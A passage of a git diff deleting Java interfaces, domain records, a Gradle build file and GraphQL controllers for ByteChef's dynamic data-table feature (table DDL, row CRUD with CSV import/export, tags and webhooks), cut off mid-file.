-     * @param toColumnName   The new name for the column. This name must not conflict with any existing columns in the
-     *                       table.
-     * @param environmentId  The target environment ID.
-     */
-    void renameColumn(String baseName, String fromColumnName, String toColumnName, long environmentId);
-
-    /**
-     * Renames an existing dynamic data table in the specified environment from one base name to another. This method
-     * updates the logical base name of the table, which will also be reflected in its physical table representation.
-     *
-     * @param fromBaseName  The current logical base name of the table. This name must not include a "dt_" prefix and
-     *                      must match an existing table.
-     * @param toBaseName    The new logical base name for the table. This name must not include a "dt_" prefix and must
-     *                      not conflict with any existing table's base name in the same environment .
-     * @param environmentId The target environment ID.
-     */
-    void renameTable(String fromBaseName, String toBaseName, long environmentId);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagService.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagService.java
deleted file mode 100644
index 1a31e7e28ba..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagService.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Service for accessing tags associated with Data Tables.
- *
- * @author Ivica Cardic
- */
-public interface DataTableTagService {
-
-    /**
-     * Retrieves a list of all tags.
-     *
-     * @return a list of Tag objects representing all available tags
-     */
-    List<Tag> getAllTags();
-
-    /**
-     * Retrieves a mapping from data table base name to list of tags assigned to that table.
-     *
-     * @return a map where keys are data table base names and values are lists of Tag objects assigned to each table
-     */
-    Map<String, List<Tag>> getTagsByTableName();
-
-    /**
-     * Updates the tags associated with a specific data table.
-     *
-     * @param tableId the unique identifier of the data table whose tags are to be updated
-     * @param tags    a list of Tag objects representing the new set of tags to associate with the data table
-     */
-    void updateTags(long tableId, List<Tag> tags);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookService.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookService.java
deleted file mode 100644
index 134e8422f3e..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookService.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import java.util.List;
-
-/**
- * Service for managing webhooks associated with data tables. Webhooks enable external systems to receive notifications
- * about specific events occurring within a data table.
- *
- * @author Ivica Cardic
- */
-public interface DataTableWebhookService {
-
-    /**
-     * Adds a new webhook for the specified data table, enabling notifications for external systems when certain events
-     * occur on the data table.
-     *
-     * @param baseName      The name of the data table to which the webhook will be associated.
-     * @param url           The URL that will receive the webhook notifications.
-     * @param type          The type of event for which the webhook should trigger (e.g., record_created,
-     *                      record_deleted, record_updated).
-     * @param environmentId The environment ID in which the webhook should be triggered.
-     * @return The unique identifier of the newly created webhook.
-     */
-    long addWebhook(String baseName, String url, DataTableWebhookType type, long environmentId);
-
-    /**
-     * Retrieves a list of webhooks associated with the specified data table. Webhooks provide external systems with
-     * notifications about certain events occurring within the data table.
-     *
-     * @param baseName      The name of the data table for which the webhooks should be listed.
-     * @param environmentId The environment ID for which to list webhooks.
-     * @return A list of webhooks associated with the specified data table.
-     */
-    List<Webhook> listWebhooks(String baseName, long environmentId);
-
-    /**
-     * Removes an existing webhook identified by its unique identifier. This action stops notifications from being sent
-     * to the associated URL.
-     *
-     * @param id The unique identifier of the webhook to be removed.
-     */
-    void removeWebhook(long id);
-
-    record Webhook(long id, long dataTableId, String url, DataTableWebhookType type, long environmentId) {
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnSpec.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnSpec.java
deleted file mode 100644
index 6a036c0a381..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnSpec.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.domain;
-
-import java.util.Objects;
-
-/**
- * Column specification used for dynamic DDL operations.
- *
- * @author Ivica Cardic
- */
-public record ColumnSpec(String name, ColumnType type) {
-
-    public ColumnSpec {
-        Objects.requireNonNull(name, "name");
-        Objects.requireNonNull(type, "type");
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnType.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnType.java
deleted file mode 100644
index aa0f4a47531..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/domain/ColumnType.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.domain;
-
-/**
- * Supported logical column types for dynamic tables.
- *
- * @author Ivica Cardic
- */
-public enum ColumnType {
-
-    STRING,
-    NUMBER,
-    INTEGER,
-    DATE,
-    DATE_TIME,
-    BOOLEAN
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/domain/DataTableRow.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/domain/DataTableRow.java
deleted file mode 100644
index 867d4178564..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/domain/DataTableRow.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.execution.domain;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Map;
-
-/**
- * Represents a single row in a dynamic data table with a stable primary key id and a map of column values.
- *
- * @author Ivica Cardic
- */
-@SuppressFBWarnings("EI")
-public record DataTableRow(long id, Map<String, Object> values) {
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/event/DataTableWebhookEvent.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/event/DataTableWebhookEvent.java
deleted file mode 100644
index 2daaa25376d..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/event/DataTableWebhookEvent.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.execution.event;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Collections;
-import java.util.Map;
-import org.springframework.context.ApplicationEvent;
-
-/**
- * Application event published when a data table change should trigger webhooks.
- *
- * @author Ivica Cardic
- */
-public class DataTableWebhookEvent extends ApplicationEvent {
-
-    private final String baseName;
-    private final long environmentId;
-    private final Map<String, Object> payload;
-    private final DataTableWebhookType type;
-
-    @SuppressFBWarnings("EI")
-    public DataTableWebhookEvent(
-        String baseName, DataTableWebhookType type, Map<String, Object> payload, long environmentId) {
-
-        super(baseName);
-
-        this.baseName = baseName;
-        this.environmentId = environmentId;
-        this.type = type;
-        this.payload = payload;
-    }
-
-    public String getBaseName() {
-        return baseName;
-    }
-
-    public long getEnvironmentId() {
-        return environmentId;
-    }
-
-    public DataTableWebhookType getType() {
-        return type;
-    }
-
-    public Map<String, Object> getPayload() {
-        return Collections.unmodifiableMap(payload);
-    }
-
-    @Override
-    public String toString() {
-        return "DataTableWebhookEvent{" +
-            "baseName='" + baseName + '\'' +
-            ", environmentId=" + environmentId +
-            ", payload=" + payload +
-            ", type=" + type +
-            "} " + super.toString();
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowService.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowService.java
deleted file mode 100644
index 7816af0b252..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowService.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.execution.service;
-
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Service for managing data table row operations (CRUD and CSV import/export).
- *
- * <p>
- * This service handles all data manipulation operations on dynamic data tables, while the structure (DDL) operations
- * are managed by {@link com.bytechef.automation.data.table.configuration.service.DataTableService}.
- * </p>
- *
- * @author Ivica Cardic
- */
-public interface DataTableRowService {
-
-    /**
-     * Deletes a row by id.
-     *
-     * @param baseName      the logical table base name
-     * @param id            the row id
-     * @param environmentId the environment ID
-     * @return true if a row was deleted, false if no row with that id exists
-     */
-    boolean deleteRow(String baseName, long id, long environmentId);
-
-    /**
-     * Gets a single row by its id.
-     *
-     * @param baseName      the logical table base name
-     * @param id            the row id
-     * @param environmentId the environment ID
-     * @return the row if found, null otherwise
-     */
-    DataTableRow getRow(String baseName, long id, long environmentId);
-
-    /**
-     * Inserts a row with provided values. Returns the created row including generated id.
-     *
-     * @param baseName      the logical table base name
-     * @param values        column name to value map
-     * @param environmentId the environment ID
-     * @return the created row with generated id
-     */
-    DataTableRow insertRow(String baseName, Map<String, Object> values, long environmentId);
-
-    /**
-     * Lists rows of a dynamic table with pagination.
-     *
-     * @param baseName      the logical table base name
-     * @param limit         maximum number of rows to return
-     * @param offset        number of rows to skip
-     * @param environmentId the environment ID
-     * @return list of rows with their data
-     */
-    List<DataTableRow> listRows(String baseName, int limit, int offset, long environmentId);
-
-    /**
-     * Exports the entire table (excluding the primary key column 'id' in the header) as CSV text. The first row is a
-     * header with column names in their physical order.
-     *
-     * @param baseName      the logical table base name
-     * @param environmentId the environment ID
-     * @return CSV text representation of all rows
-     */
-    String exportCsv(String baseName, long environmentId);
-
-    /**
-     * Imports CSV text into the table. The CSV must contain a header row with column names matching existing columns
-     * (case-insensitive). Unknown columns are ignored. The 'id' column, if present, is ignored.
-     *
-     * @param baseName      the logical table base name
-     * @param csv           CSV text with header row
-     * @param environmentId the environment ID
-     */
-    void importCsv(String baseName, String csv, long environmentId);
-
-    /**
-     * Updates a row by its stable id. Returns the updated row.
-     *
-     * @param baseName      the logical table base name
-     * @param id            the row id
-     * @param values        column name to value map (only provided columns will be updated)
-     * @param environmentId the environment ID
-     * @return the updated row
-     */
-    DataTableRow updateRow(String baseName, long id, Map<String, Object> values, long environmentId);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/build.gradle.kts b/server/libs/automation/automation-data-table/automation-data-table-graphql/build.gradle.kts
deleted file mode 100644
index d1683d3fee2..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/build.gradle.kts
+++ /dev/null
@@ -1,20 +0,0 @@
-dependencies {
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation("org.springframework:spring-web")
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    implementation(project(":server:libs:platform:platform-tag:platform-tag-api"))
-
-    testImplementation("org.junit.jupiter:junit-jupiter")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation("org.mockito:mockito-junit-jupiter")
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(libs.org.wiremock.wiremock)
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableGraphQlController.java b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableGraphQlController.java
deleted file mode 100644
index 5969c809973..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableGraphQlController.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.web.graphql;
-
-import static com.bytechef.commons.util.EncodingUtils.urlDecodeBase64FromString;
-import static java.nio.charset.StandardCharsets.UTF_8;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.data.table.configuration.domain.DataTableInfo;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import com.bytechef.automation.data.table.domain.ColumnType;
-import com.bytechef.commons.util.EncodingUtils;
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.platform.configuration.service.EnvironmentService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * GraphQL controller exposing mutations for dynamic table DDL (configuration) operations.
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-@SuppressFBWarnings("EI")
-public class DataTableGraphQlController {
-
-    private final DataTableService dataTableService;
-    private final EnvironmentService environmentService;
-
-    public DataTableGraphQlController(DataTableService dataTableService, EnvironmentService environmentService) {
-        this.dataTableService = dataTableService;
-        this.environmentService = environmentService;
-    }
-
-    @MutationMapping
-    public boolean createDataTable(@Argument CreateDataTableInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-
-        List<ColumnSpec> columnSpecs = input.columns()
-            .stream()
-            .map(ColumnInput::toSpec)
-            .toList();
-
-        dataTableService.createTable(
-            input.baseName(), input.description(), columnSpecs, input.workspaceId(), environment.ordinal());
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean addDataTableColumn(@Argument AddColumnInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        ColumnInput columnInput = input.column();
-
-        dataTableService.addColumn(baseName, columnInput.toSpec(), environment.ordinal());
-
-        return true;
-    }
-
-    @QueryMapping
-    public List<DataTable> dataTables(@Argument Long environmentId, @Argument Long workspaceId) {
-        Environment environment = environmentService.getEnvironment(environmentId);
-
-        List<DataTableInfo> dataTableInfos = dataTableService.listTables(workspaceId, environment.ordinal());
-
-        return dataTableInfos.stream()
-            .map(info -> {
-                Instant instant = info.lastModifiedDate();
-                List<DataTableColumn> dataTableColumns = info.columns()
-                    .stream()
-                    .map(columnSpec -> new DataTableColumn(
-                        EncodingUtils.urlEncodeBase64ToString(columnSpec.name()), columnSpec.name(), columnSpec.type()))
-                    .toList();
-
-                return new DataTable(
-                    info.id(), info.baseName(), info.description(), dataTableColumns,
-                    instant != null ? instant.toEpochMilli() : null);
-            })
-            .toList();
-    }
-
-    @MutationMapping
-    public boolean dropDataTable(@Argument RemoveTableInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        dataTableService.dropTable(baseName, environment.ordinal());
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean duplicateDataTable(@Argument DuplicateDataTableInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        dataTableService.duplicateTable(baseName, input.newBaseName(), environment.ordinal());
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean removeDataTableColumn(@Argument RemoveColumnInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-        String columnName = new String(urlDecodeBase64FromString(input.columnId()), UTF_8);
-
-        dataTableService.removeColumn(baseName, columnName, environment.ordinal());
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean renameDataTableColumn(@Argument RenameColumnInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-        String fromColumnName = new String(urlDecodeBase64FromString(input.columnId()), UTF_8);
-
-        dataTableService.renameColumn(baseName, fromColumnName, input.newName(), environment.ordinal());
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean renameDataTable(@Argument RenameDataTableInput input) {
-        Long environmentId = input.environmentId();
-
-        Environment environment = environmentService.getEnvironment(environmentId);
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        dataTableService.renameTable(baseName, input.newBaseName(), environment.ordinal());
-
-        return true;
-    }
-
-    @SuppressFBWarnings("EI")
-    public record CreateDataTableInput(Long environmentId, String baseName, String description,
-        List<ColumnInput> columns, Long workspaceId) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record AddColumnInput(Long environmentId, Long tableId, ColumnInput column) {
-    }
-
-    public record RemoveColumnInput(Long environmentId, Long tableId, String columnId) {
-    }
-
-    public record RenameColumnInput(Long environmentId, Long tableId, String columnId, String newName) {
-    }
-
-    public record RemoveTableInput(Long environmentId, Long tableId) {
-    }
-
-    public record RenameDataTableInput(Long environmentId, Long tableId, String newBaseName) {
-    }
-
-    public record DuplicateDataTableInput(Long environmentId, Long tableId, String newBaseName) {
-    }
-
-    public record ColumnInput(String name, ColumnType type) {
-        public ColumnSpec toSpec() {
-            return new ColumnSpec(name, type);
-        }
-    }
-
-    // GraphQL output records
-    public record DataTable(Long id, String baseName, String description, List<DataTableColumn> columns,
-        Long lastModifiedDate) {
-    }
-
-    public record DataTableColumn(String id, String name, ColumnType type) {
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableRowGraphQlController.java b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableRowGraphQlController.java
deleted file mode 100644
index c723000ebb3..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableRowGraphQlController.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * GraphQL controller exposing queries and mutations for data table row operations (DML).
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-@SuppressFBWarnings("EI")
-public class DataTableRowGraphQlController {
-
-    private final DataTableRowService dataTableRowService;
-    private final DataTableService dataTableService;
-
-    public DataTableRowGraphQlController(
-        DataTableRowService dataTableRowService, DataTableService dataTableService) {
-
-        this.dataTableRowService = dataTableRowService;
-        this.dataTableService = dataTableService;
-    }
-
-    @QueryMapping
-    public List<Row> dataTableRows(@Argument Long environmentId, @Argument Long tableId) {
-        String baseName = dataTableService.getBaseNameById(tableId);
-
-        List<DataTableRow> dataTableRows = dataTableRowService.listRows(
-            baseName, Integer.MAX_VALUE, 0, environmentId);
-
-        return dataTableRows.stream()
-            .map(dataTableRow -> new Row(dataTableRow.id(), dataTableRow.values()))
-            .toList();
-    }
-
-    @QueryMapping
-    public RowPage dataTableRowsPage(
-        @Argument Long environmentId, @Argument Long tableId, @Argument Integer limit, @Argument Integer offset) {
-
-        String baseName = dataTableService.getBaseNameById(tableId);
-        int pageSize = (limit == null || limit <= 0) ? 100 : Math.min(limit, Integer.MAX_VALUE - 1);
-        int pageOffset = (offset == null || offset < 0) ? 0 : offset;
-
-        List<DataTableRow> fetched = dataTableRowService.listRows(
-            baseName, pageSize + 1, pageOffset, environmentId);
-
-        boolean hasMore = fetched.size() > pageSize;
-
-        List<DataTableRow> pageItems = hasMore ? fetched.subList(0, pageSize) : fetched;
-
-        List<Row> items = pageItems.stream()
-            .map(dataTableRow -> new Row(dataTableRow.id(), dataTableRow.values()))
-            .toList();
-
-        Integer nextOffset = hasMore ? pageOffset + pageSize : null;
-
-        return new RowPage(items, hasMore, nextOffset);
-    }
-
-    @MutationMapping
-    public Row insertDataTableRow(@Argument InsertRowInput input) {
-        Long environmentId = input.environmentId();
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        DataTableRow dataTableRow = dataTableRowService.insertRow(
-            baseName, input.values(), environmentId);
-
-        return new Row(dataTableRow.id(), dataTableRow.values());
-    }
-
-    @MutationMapping
-    public Row updateDataTableRow(@Argument UpdateRowInput input) {
-        Long environmentId = input.environmentId();
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        DataTableRow row = dataTableRowService.updateRow(
-            baseName, input.id(), input.values(), environmentId);
-
-        return new Row(row.id(), row.values());
-    }
-
-    @MutationMapping
-    public boolean deleteDataTableRow(@Argument DeleteRowInput input) {
-        Long environmentId = input.environmentId();
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        return dataTableRowService.deleteRow(baseName, input.id(), environmentId);
-    }
-
-    @QueryMapping
-    public String exportDataTableCsv(@Argument Long environmentId, @Argument Long tableId) {
-        String baseName = dataTableService.getBaseNameById(tableId);
-
-        return dataTableRowService.exportCsv(baseName, environmentId);
-    }
-
-    @MutationMapping
-    public boolean importDataTableCsv(@Argument ImportCsvInput input) {
-        Long environmentId = input.environmentId();
-
-        String baseName = dataTableService.getBaseNameById(input.tableId());
-
-        dataTableRowService.importCsv(baseName, input.csv(), environmentId);
-
-        return true;
-    }
-
-    public record Row(Long id, Map<String, Object> values) {
-    }
-
-    public record RowPage(List<Row> items, boolean hasMore, Integer nextOffset) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record InsertRowInput(Long environmentId, Long tableId, Map<String, Object> values) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record UpdateRowInput(Long environmentId, Long tableId, Long id, Map<String, Object> values) {
-    }
-
-    public record DeleteRowInput(Long environmentId, Long tableId, Long id) {
-    }
-
-    public record ImportCsvInput(Long environmentId, Long tableId, String csv) {
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableTagGraphQlController.java b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableTagGraphQlController.java
deleted file mode 100644
index faf1085e8d8..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableTagGraphQlController.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableTagService;
-import com.bytechef.platform.tag.domain.Tag;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Collectors;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-@SuppressFBWarnings("EI")
-public class DataTableTagGraphQlController {
-
-    private final DataTableTagService dataTableTagService;
-    private final DataTableService dataTableService;
-
-    @SuppressFBWarnings("EI")
-    public DataTableTagGraphQlController(DataTableTagService dataTableTagService, DataTableService dataTableService) {
-        this.dataTableTagService = dataTableTagService;
-        this.dataTableService = dataTableService;
-    }
-
-    @QueryMapping
-    public List<Tag> dataTableTags() {
-        return dataTableTagService.getAllTags();
-    }
-
-    @QueryMapping
-    public List<DataTableTagsEntry> dataTableTagsByTable() {
-        Map<String, List<Tag>> tagsByTableName = dataTableTagService.getTagsByTableName();
-
-        return tagsByTableName.entrySet()
-            .stream()
-            .map(entry -> new DataTableTagsEntry(dataTableService.getIdByBaseName(entry.getKey()), entry.getValue()))
-            .toList();
-    }
-
-    @MutationMapping
